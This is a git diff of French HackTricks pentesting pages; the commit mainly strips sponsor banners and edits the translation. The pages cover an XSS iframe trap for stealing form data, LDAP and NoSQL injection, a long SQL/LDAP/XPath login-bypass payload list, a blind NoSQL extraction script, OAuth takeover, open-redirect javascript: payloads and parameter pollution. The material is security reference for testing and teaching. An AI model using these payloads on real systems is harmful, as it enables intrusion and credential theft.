occupies all the web application. +L'attaque commence sur une page vulnérable à un XSS où il est possible de faire en sorte que les **victimes ne quittent pas le XSS** en les faisant **naviguer dans une iframe** qui occupe toute l'application web. -The XSS attack will basically load the web page in an iframe in 100% of the screen. Therefore, the victim **won't notice he is inside an iframe**. Then, if the victim navigates in the page by clicking links inside the iframe (inside the web), he will be **navigating inside the iframe** with the arbitrary JS loaded stealing information from this navigation. +L'attaque XSS chargera essentiellement la page web dans une iframe à 100 % de l'écran. Par conséquent, la victime **ne remarquera pas qu'elle est dans une iframe**. Ensuite, si la victime navigue sur la page en cliquant sur des liens à l'intérieur de l'iframe (dans le web), elle sera **en train de naviguer à l'intérieur de l'iframe** avec le JS arbitraire chargé volant des informations de cette navigation. -Moreover, to make it more realistic, it’s possible to use some **listeners** to check when an iframe changes the location of the page, and update the URL of the browser with that locations the user things he’s is moving pages using the browser. +De plus, pour rendre cela plus réaliste, il est possible d'utiliser des **écouteurs** pour vérifier quand une iframe change la localisation de la page, et mettre à jour l'URL du navigateur avec ces emplacements que l'utilisateur pense qu'il se déplace entre les pages en utilisant le navigateur.

https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png

https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png

-Moreover, it's possible to use listeners to steal sensitive information, not only the other pages the victim is visiting, but also the data used to **filled forms** and send them (credentials?) or to **steal the local storage**... +De plus, il est possible d'utiliser des écouteurs pour voler des informations sensibles, non seulement les autres pages que la victime visite, mais aussi les données utilisées pour **remplir des formulaires** et les envoyer (identifiants ?) ou pour **voler le stockage local**... -Ofc, the main limitations are that a **victim closing the tab or putting another URL in the browser will escape the iframe**. Another way to do this would be to **refresh the page**, however, this could be partially **prevented** by disabling the right click context menu every time a new page is loaded inside the iframe or noticing when the mouse of the user leaves the iframe, potentially to click the reload button of the browser and in this case the URL of the browser is updated with the original URL vulnerable to XSS so if the user reloads it, it will get poisoned again (note that this is not very stealth). +Bien sûr, les principales limitations sont qu'une **victime fermant l'onglet ou mettant une autre URL dans le navigateur échappera à l'iframe**. Une autre façon de faire cela serait de **rafraîchir la page**, cependant, cela pourrait être partiellement **préventé** en désactivant le menu contextuel du clic droit chaque fois qu'une nouvelle page est chargée à l'intérieur de l'iframe ou en remarquant quand la souris de l'utilisateur quitte l'iframe, potentiellement pour cliquer sur le bouton de rechargement du navigateur et dans ce cas, l'URL du navigateur est mise à jour avec l'URL originale vulnérable au XSS donc si l'utilisateur la recharge, elle sera à nouveau empoisonnée (notez que ce n'est pas très furtif). {{#include ../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index 209b40dd4..86a99c461 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -4,12 +4,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} - ## Injection LDAP ### **LDAP** @@ -46,7 +40,7 @@ Par exemple :\ Vous pouvez accéder à la base de données, et cela peut contenir des informations de différents types. -**OpenLDAP** : Si 2 filtres arrivent, seul le premier est exécuté.\ +**OpenLDAP** : Si 2 filtres arrivent, n'exécute que le premier.\ **ADAM ou Microsoft LDS** : Avec 2 filtres, ils renvoient une erreur.\ **SunOne Directory Server 5.0** : Exécute les deux filtres. @@ -62,7 +56,7 @@ Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celu ### Contournement de connexion -LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Donc, il se peut que peu importe ce que vous insérez dans le mot de passe, il soit haché. +LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Donc, il se peut qu'indépendamment de ce que vous insérez dans le mot de passe, il soit haché. ```bash user=* password=* @@ -137,7 +131,7 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*)) Payload: void)(objectClass=void))(&objectClass=void Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) ``` -#### Dump de données +#### Dump data Vous pouvez itérer sur les lettres ascii, les chiffres et les symboles : ```bash @@ -211,10 +205,5 @@ intitle:"phpLDAPadmin" inurl:cmd.php {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} -
- -Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md index 08a018178..261098db6 100644 --- a/src/pentesting-web/login-bypass/README.md +++ b/src/pentesting-web/login-bypass/README.md @@ -2,12 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## **Contourner la connexion régulière** Si vous trouvez une page de connexion, voici quelques techniques à essayer pour la contourner : @@ -15,18 +9,18 @@ Si vous trouvez une page de connexion, voici quelques techniques à essayer pour - Vérifiez les **commentaires** à l'intérieur de la page (faites défiler vers le bas et à droite ?) - Vérifiez si vous pouvez **accéder directement aux pages restreintes** - Vérifiez de **ne pas envoyer les paramètres** (ne pas envoyer aucun ou seulement 1) -- Vérifiez l'**erreur de comparaison PHP :** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b` +- Vérifiez l'**erreur de comparaison PHP :** `user[]=a&pwd=b`, `user=a&pwd[]=b`, `user[]=a&pwd[]=b` - **Changez le type de contenu en json** et envoyez des valeurs json (bool true inclus) - Si vous obtenez une réponse disant que POST n'est pas supporté, vous pouvez essayer d'envoyer le **JSON dans le corps mais avec une requête GET** avec `Content-Type: application/json` - Vérifiez l'erreur de parsing potentielle de nodejs (lisez [**ceci**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)) : `password[password]=1` - Nodejs transformera cette charge utile en une requête similaire à la suivante : ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` ce qui fait que le bit de mot de passe est toujours vrai. - Si vous pouvez envoyer un objet JSON, vous pouvez envoyer `"password":{"password": 1}` pour contourner la connexion. - N'oubliez pas que pour contourner cette connexion, vous devez toujours **connaître et envoyer un nom d'utilisateur valide**. -- **Ajouter l'option `"stringifyObjects":true`** lors de l'appel à `mysql.createConnection` bloquera finalement tous les comportements inattendus lorsque `Object` est passé dans le paramètre. +- **Ajouter l'option `"stringifyObjects":true`** lors de l'appel à `mysql.createConnection` bloquera éventuellement tous les comportements inattendus lorsque `Object` est passé en paramètre. - Vérifiez les identifiants : - [**Identifiants par défaut**](../../generic-hacking/brute-force.md#default-credentials) de la technologie/plateforme utilisée -- **Combinaisons courantes** (root, admin, password, nom de la technologie, utilisateur par défaut avec l'un de ces mots de passe). -- Créez un dictionnaire en utilisant **Cewl**, **ajoutez** le **nom d'utilisateur** et le mot de passe **par défaut** (s'il y en a) et essayez de le brute-forcer en utilisant tous les mots comme **noms d'utilisateur et mots de passe** +- **Combinaisons courantes** (root, admin, mot de passe, nom de la tech, utilisateur par défaut avec l'un de ces mots de passe). +- Créez un dictionnaire en utilisant **Cewl**, **ajoutez** le **nom d'utilisateur** et le mot de passe **par défaut** (s'il y en a) et essayez de le brute-forcer en utilisant tous les mots comme **noms d'utilisateur et mot de passe** - **Brute-force** en utilisant un plus grand **dictionnaire (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)** ### Contournement d'authentification par injection SQL @@ -90,16 +84,12 @@ Les pages redirigent généralement les utilisateurs après la connexion, vérif ## Autres vérifications - Vérifiez si vous pouvez **énumérer les noms d'utilisateur** en abusant de la fonctionnalité de connexion. -- Vérifiez si **l'auto-complétion** est active dans les formulaires de mot de passe/**informations sensibles** **input:** `` +- Vérifiez si **l'auto-complétion** est active dans les **formulaires** de mot de passe/**informations sensibles** **input:** `` ## Outils automatiques - [HTLogin](https://github.com/akinerkisa/HTLogin) -
-​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/login-bypass/sql-login-bypass.md b/src/pentesting-web/login-bypass/sql-login-bypass.md index 358c205d1..d3961cf59 100644 --- a/src/pentesting-web/login-bypass/sql-login-bypass.md +++ b/src/pentesting-web/login-bypass/sql-login-bypass.md @@ -1,16 +1,8 @@ {{#include ../../banners/hacktricks-training.md}} -
+Cette liste contient des **payloads pour contourner la connexion via XPath, LDAP et injection SQL** (dans cet ordre). -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -Cette liste contient **des payloads pour contourner la connexion via XPath, LDAP et injection SQL** (dans cet ordre). - -La façon d'utiliser cette liste est de mettre les **200 premières lignes comme nom d'utilisateur et mot de passe.** Ensuite, mettez la liste complète dans le champ du nom d'utilisateur en premier, puis dans le champ du mot de passe tout en mettant un mot de passe (comme _Pass1234._) ou un nom d'utilisateur connu (comme _admin_). +La façon d'utiliser cette liste est de mettre les **premières 200 lignes comme nom d'utilisateur et mot de passe.** Ensuite, mettez la liste complète dans le champ du nom d'utilisateur en premier, puis dans le champ du mot de passe tout en mettant un mot de passe (comme _Pass1234._) ou un nom d'utilisateur connu (comme _admin_). ``` admin password @@ -817,12 +809,4 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")# %8C%A8%27)||1-- 2 %bf')||1-- 2 ``` -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, identifier les problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 3783a5a3a..1f77e13ea 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -1,13 +1,5 @@ # Injection NoSQL -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez l'accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %} - {{#include ../banners/hacktricks-training.md}} ## Exploiter @@ -25,7 +17,7 @@ username[$ne]=admin&pass[$gt]=s # username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 # (not test and not admin) { $where: "this.credits == this.debits" }#, can be used to execute code ``` -### Contournement de l'authentification de base +### Contournement de l'authentification basique **Utiliser not equal ($ne) ou greater ($gt)** ```bash @@ -116,17 +108,9 @@ Il est possible d'utiliser [**$lookup**](https://www.mongodb.com/docs/manual/ref } ] ``` -
+## MongoDB Payloads -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %} - -## Charges utiles MongoDB - -Liste [d'ici](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) +Liste [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) ``` true, $where: '1 == 1' , $where: '1 == 1' @@ -156,7 +140,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi {"username": {"$gt":""}, "password": {"$gt":""}} {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} ``` -## Script NoSQL à l'aveugle +## Script NoSQL Aveugle ```python import requests, string @@ -247,11 +231,3 @@ get_password(u) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) {{#include ../banners/hacktricks-training.md}} - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %} diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md index ace5c3a96..9e6961e67 100644 --- a/src/pentesting-web/oauth-to-account-takeover.md +++ b/src/pentesting-web/oauth-to-account-takeover.md @@ -1,20 +1,17 @@ -# OAuth pour la prise de contrôle de compte +# OAuth à la prise de contrôle de compte {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Informations de base OAuth propose différentes versions, avec des informations fondamentales accessibles dans la [documentation OAuth 2.0](https://oauth.net/2/). Cette discussion se concentre principalement sur le [type de code d'autorisation OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fournissant un **cadre d'autorisation qui permet à une application d'accéder ou d'effectuer des actions sur le compte d'un utilisateur dans une autre application** (le serveur d'autorisation). -Considérons un site web hypothétique _**https://example.com**_, conçu pour **afficher tous vos posts sur les réseaux sociaux**, y compris ceux privés. Pour ce faire, OAuth 2.0 est utilisé. _https://example.com_ demandera votre permission pour **accéder à vos posts sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://socialmedia.com_, décrivant les **permissions demandées et le développeur faisant la demande**. Après votre autorisation, _https://example.com_ obtient la capacité d'**accéder à vos posts en votre nom**. +Considérons un site web hypothétique _**https://example.com**_, conçu pour **présenter tous vos posts sur les réseaux sociaux**, y compris les privés. Pour ce faire, OAuth 2.0 est utilisé. _https://example.com_ demandera votre permission pour **accéder à vos posts sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://socialmedia.com_, décrivant les **permissions demandées et le développeur effectuant la demande**. Après votre autorisation, _https://example.com_ obtient la capacité d'**accéder à vos posts en votre nom**. Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 : -- **propriétaire de la ressource** : Vous, en tant que **utilisateur/entité**, autorisez l'accès à votre ressource, comme vos posts de compte de réseaux sociaux. +- **propriétaire de la ressource** : Vous, en tant que **utilisateur/entité**, autorisez l'accès à votre ressource, comme vos posts sur les réseaux sociaux. - **serveur de ressources** : Le **serveur gérant les demandes authentifiées** après que l'application a sécurisé un `access token` au nom du `propriétaire de la ressource`, par exemple, **https://socialmedia.com**. - **application cliente** : L'**application demandant l'autorisation** du `propriétaire de la ressource`, comme **https://example.com**. - **serveur d'autorisation** : Le **serveur qui délivre des `access tokens`** à l'`application cliente` après l'authentification réussie du `propriétaire de la ressource` et la sécurisation de l'autorisation, par exemple, **https://socialmedia.com**. @@ -27,7 +24,7 @@ Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 : - **grant_type** : Un paramètre indiquant **le type de subvention et le type de token à retourner**. - **code** : Le code d'autorisation du `serveur d'autorisation`, utilisé en tandem avec `client_id` et `client_secret` par l'application cliente pour acquérir un `access_token`. - **access_token** : Le **token que l'application cliente utilise pour les requêtes API** au nom du `propriétaire de la ressource`. -- **refresh_token** : Permet à l'application d'**obtenir un nouveau `access_token` sans redemander à l'utilisateur**. +- **refresh_token** : Permet à l'application de **obtenir un nouveau `access_token` sans redemander à l'utilisateur**. ### Flux @@ -80,9 +77,9 @@ Dans les implémentations OAuth, l'utilisation incorrecte ou l'omission du **par Les attaquants peuvent en profiter en interceptant le processus d'autorisation pour lier leur compte à celui d'une victime, ce qui peut entraîner des **prises de contrôle de compte** potentielles. Cela est particulièrement critique dans les applications où OAuth est utilisé à des fins **d'authentification**. -Des exemples concrets de cette vulnérabilité ont été documentés dans divers **défis CTF** et **plateformes de hacking**, soulignant ses implications pratiques. Le problème s'étend également aux intégrations avec des services tiers comme **Slack**, **Stripe** et **PayPal**, où les attaquants peuvent rediriger des notifications ou des paiements vers leurs comptes. +Des exemples concrets de cette vulnérabilité ont été documentés dans divers **défis CTF** et **plateformes de hacking**, soulignant ses implications pratiques. Le problème s'étend également aux intégrations avec des services tiers comme **Slack**, **Stripe**, et **PayPal**, où les attaquants peuvent rediriger des notifications ou des paiements vers leurs comptes. -Une gestion et une validation appropriées du **paramètre `state`** sont cruciales pour se protéger contre le CSRF et sécuriser le flux OAuth. +Une gestion et une validation appropriées du **paramètre `state`** sont cruciales pour se protéger contre les CSRF et sécuriser le flux OAuth. ### Pré prise de contrôle de compte @@ -164,7 +161,7 @@ C'est parce qu'un **attaquant** pourrait créer une **application supportant OAu Selon [**cet article**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), il était possible de faire ouvrir à une victime une page avec un **returnUrl** pointant vers l'hôte de l'attaquant. Cette info serait **stockée dans un cookie (RU)** et à une **étape ultérieure**, le **prompt** demandera à l'**utilisateur** s'il souhaite donner accès à cet hôte de l'attaquant. -Pour contourner ce prompt, il était possible d'ouvrir un onglet pour initier le **flux Oauth** qui définirait ce cookie RU en utilisant le **returnUrl**, de fermer l'onglet avant que le prompt ne soit affiché, et d'ouvrir un nouvel onglet sans cette valeur. Ensuite, le **prompt n'informera pas sur l'hôte de l'attaquant**, mais le cookie serait défini pour cela, donc le **token sera envoyé à l'hôte de l'attaquant** lors de la redirection. +Pour contourner ce prompt, il était possible d'ouvrir un onglet pour initier le **flux Oauth** qui définirait ce cookie RU en utilisant le **returnUrl**, de fermer l'onglet avant que le prompt ne soit affiché, et d'ouvrir un nouvel onglet sans cette valeur. Ensuite, le **prompt n'informera pas sur l'hôte de l'attaquant**, mais le cookie serait défini pour cela, donc le **token sera envoyé à l'hôte de l'attaquant** dans la redirection. ### Contournement de l'interaction du prompt @@ -175,7 +172,7 @@ Comme expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=n9x7_J_a Comme [**expliqué dans cette vidéo**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), il pourrait être possible d'indiquer le paramètre **`response_mode`** pour indiquer où vous souhaitez que le code soit fourni dans l'URL finale : - `response_mode=query` -> Le code est fourni à l'intérieur d'un paramètre GET : `?code=2397rf3gu93f` -- `response_mode=fragment` -> Le code est fourni à l'intérieur du paramètre de fragment d'URL `#code=2397rf3gu93f` +- `response_mode=fragment` -> Le code est fourni à l'intérieur du paramètre fragment de l'URL `#code=2397rf3gu93f` - `response_mode=form_post` -> Le code est fourni à l'intérieur d'un formulaire POST avec un input appelé `code` et la valeur - `response_mode=web_message` -> Le code est envoyé dans un message post : `window.opener.postMessage({"code": "asdasdasd...` @@ -222,8 +219,5 @@ Si la plateforme que vous testez est un fournisseur OAuth [**lisez ceci pour tes - [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1) - [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors) -
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index d3bfad0e4..86c91cca2 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -1,22 +1,17 @@ -# Open Redirect +# Redirection Ouverte {{#include ../banners/hacktricks-training.md}} -
-Approfondissez votre expertise en **Mobile Security** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : +## Redirection ouverte -{% embed url="https://academy.8ksec.io/" %} - -## Open redirect - -### Redirection vers localhost ou des domaines arbitraires +### Rediriger vers localhost ou des domaines arbitraires {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -### Open Redirect vers XSS +### Redirection ouverte vers XSS ```bash #Basic payload, javascript code is executed after "javascript:" javascript:alert(1) @@ -176,10 +171,5 @@ exit; - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md index e4ff548e0..50297db67 100644 --- a/src/pentesting-web/parameter-pollution.md +++ b/src/pentesting-web/parameter-pollution.md @@ -4,13 +4,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## Vue d'ensemble de la Pollution de Paramètre HTTP (HPP) -La Pollution de Paramètre HTTP (HPP) est une technique où les attaquants manipulent les paramètres HTTP pour changer le comportement d'une application web de manière inattendue. Cette manipulation se fait en ajoutant, modifiant ou dupliquant des paramètres HTTP. L'effet de ces manipulations n'est pas directement visible pour l'utilisateur mais peut altérer de manière significative la fonctionnalité de l'application côté serveur, avec des impacts observables côté client. +La Pollution de Paramètre HTTP (HPP) est une technique où les attaquants manipulent les paramètres HTTP pour modifier le comportement d'une application web de manière inattendue. Cette manipulation se fait en ajoutant, modifiant ou dupliquant des paramètres HTTP. L'effet de ces manipulations n'est pas directement visible pour l'utilisateur mais peut altérer de manière significative la fonctionnalité de l'application côté serveur, avec des impacts observables côté client. ### Exemple de Pollution de Paramètre HTTP (HPP) @@ -31,13 +27,13 @@ La transaction peut être incorrectement facturée à `accountC` au lieu de `acc ### Exploitation de PHP et HPP -**Cas de Manipulation OTP :** +**Cas de Manipulation d'OTP :** -- **Contexte :** Un mécanisme de connexion nécessitant un mot de passe à usage unique (OTP) a été exploité. -- **Méthode :** En interceptant la demande OTP à l'aide d'outils comme Burp Suite, les attaquants ont dupliqué le paramètre `email` dans la requête HTTP. +- **Contexte :** Un mécanisme de connexion nécessitant un Mot de Passe à Usage Unique (OTP) a été exploité. +- **Méthode :** En interceptant la demande d'OTP à l'aide d'outils comme Burp Suite, les attaquants ont dupliqué le paramètre `email` dans la requête HTTP. - **Résultat :** L'OTP, destiné à l'email initial, a été envoyé à la deuxième adresse email spécifiée dans la requête manipulée. Ce défaut a permis un accès non autorisé en contournant la mesure de sécurité prévue. -Ce scénario met en évidence une négligence critique dans le backend de l'application, qui a traité le premier paramètre `email` pour la génération de l'OTP mais a utilisé le dernier pour la livraison. +Ce scénario met en évidence une négligence critique dans le backend de l'application, qui a traité le premier paramètre `email` pour la génération d'OTP mais a utilisé le dernier pour la livraison. **Cas de Manipulation de Clé API :** @@ -53,9 +49,9 @@ Cet exemple souligne encore la nécessité d'une gestion sécurisée des paramè La manière dont les technologies web gèrent les paramètres HTTP dupliqués varie, affectant leur susceptibilité aux attaques HPP : - **Flask :** Adopte la première valeur de paramètre rencontrée, comme `a=1` dans une chaîne de requête `a=1&a=2`, priorisant l'instance initiale sur les duplicatas suivants. -- **PHP (sur Apache HTTP Server) :** Au contraire, priorise la dernière valeur de paramètre, optant pour `a=2` dans l'exemple donné. Ce comportement peut faciliter involontairement les exploits HPP en honorant le paramètre manipulé par l'attaquant plutôt que l'original. +- **PHP (sur Apache HTTP Server) :** Au contraire, priorise la dernière valeur de paramètre, optant pour `a=2` dans l'exemple donné. Ce comportement peut faciliter involontairement les exploits HPP en honorant le paramètre manipulé de l'attaquant plutôt que l'original. -## Pollution de paramètre par technologie +## Pollution de paramètres par technologie Les résultats ont été tirés de [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89) @@ -63,7 +59,7 @@ Les résultats ont été tirés de [https://medium.com/@0xAwali/http-parameter-p

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg

-1. Ignorer tout après %00 dans le nom du paramètre. +1. Ignorer tout ce qui suit %00 dans le nom du paramètre. 2. Traiter name\[] comme un tableau. 3. \_GET ne signifie pas méthode GET. 4. Préférer le dernier paramètre. @@ -81,10 +77,10 @@ Les résultats ont été tirés de [https://medium.com/@0xAwali/http-parameter-p

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg

1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping. -2. POST RequestMapping & PostMapping reconnu name\[]. +2. POST RequestMapping & PostMapping reconnaissent name\[]. 3. Préférer name si name ET name\[] existent. 4. Concaténer les paramètres e.g. first,last. -5. POST RequestMapping & PostMapping reconnu paramètre de requête avec Content-Type. +5. POST RequestMapping & PostMapping reconnaissent le paramètre de requête avec Content-Type. ### **NodeJS** 20.17.0 **ET** Express 4.21.0 @@ -97,28 +93,28 @@ Les résultats ont été tirés de [https://medium.com/@0xAwali/http-parameter-p

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg

-1. NON reconnu name\[]. +1. NOM pas reconnu name\[]. 2. Préférer le premier paramètre. ### Python 3.12.6 ET Werkzeug 3.0.4 ET Flask 3.0.3

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg

-1. NON reconnu name\[]. +1. NOM pas reconnu name\[]. 2. Préférer le premier paramètre. ### Python 3.12.6 ET Django 4.2.15

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg

-1. NON reconnu name\[]. +1. NOM pas reconnu name\[]. 2. Préférer le dernier paramètre. ### Python 3.12.6 ET Tornado 6.4.1

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg

-1. NON reconnu name\[]. +1. NOM pas reconnu name\[]. 2. Préférer le dernier paramètre. ## Injection JSON @@ -129,7 +125,7 @@ obj = {"test": "user", "test": "admin"} ``` L'interface utilisateur pourrait croire la première occurrence tandis que le backend utilise la deuxième occurrence de la clé. -### Collision de Clés : Troncature de Caractères et Commentaires +### Collision de clés : Troncature de caractères et commentaires Certains caractères ne seront pas correctement interprétés par l'interface utilisateur, mais le backend les interprétera et utilisera ces clés, cela pourrait être utile pour **contourner certaines restrictions** : ```json @@ -208,8 +204,5 @@ Ce qui pourrait créer des incohérences - [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89) - [https://bishopfox.com/blog/json-interoperability-vulnerabilities](https://bishopfox.com/blog/json-interoperability-vulnerabilities) -
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/proxy-waf-protections-bypass.md b/src/pentesting-web/proxy-waf-protections-bypass.md index 9c15066af..7505071d2 100644 --- a/src/pentesting-web/proxy-waf-protections-bypass.md +++ b/src/pentesting-web/proxy-waf-protections-bypass.md @@ -2,11 +2,8 @@ {{#include ../banners/hacktricks-training.md}} -
